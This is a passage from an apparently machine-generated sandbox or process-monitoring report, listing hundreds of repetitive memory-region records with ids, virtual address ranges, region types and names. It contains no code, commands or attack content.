0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17724 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17725 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17726 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17727 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17728 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17729 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17730 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17731 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17732 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17733 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17734 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17735 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17736 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17737 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17738 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17739 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17740 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17741 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17742 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17743 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17744 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17745 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17746 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17747 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17748 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17749 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17750 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17751 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17752 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17753 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17754 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17755 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17756 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17757 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17758 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17759 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17760 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17761 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17762 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17763 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17764 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17765 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17766 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17767 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17768 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17769 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17770 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17772 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17773 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17774 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17775 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17776 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17777 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17778 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17779 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17780 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17781 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17782 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17783 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17784 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17785 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17786 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17787 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17789 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17790 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17791 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17792 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17793 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17794 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17795 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17796 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17797 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17798 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17799 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17800 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17801 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17802 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17803 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17804 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17807 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17808 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17809 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17810 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17811 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17812 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17813 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17814 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17815 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17816 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17817 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17818 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17819 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17820 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17821 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17822 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17824 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17825 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17826 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17827 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17828 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17829 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17830 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17831 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17832 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17833 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17834 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17835 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17836 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17837 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17838 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17839 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17840 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17841 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17842 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17843 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17844 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17845 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17846 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17847 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17848 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17849 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17850 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17851 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17852 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17853 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17854 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17855 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17856 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17857 start_va = 0x9150000 end_va = 0x9249fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009150000" filename = "" Region: id = 17858 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17859 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17860 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17861 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17862 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17863 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17864 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17865 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17866 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17867 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17868 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17869 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17870 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17871 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17872 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17873 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17874 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17875 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17876 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17877 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17878 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17879 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17880 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17881 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17882 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17883 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17884 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17885 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17886 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17887 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17888 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17889 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17890 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17891 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17892 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17893 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17894 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17895 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17896 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17897 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17899 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17900 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17901 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17902 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17903 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17905 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17906 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17908 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17909 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17910 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17911 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17913 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17914 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17915 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17916 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17917 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17918 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17919 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17920 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17921 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17922 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17923 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17924 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17925 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17926 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" 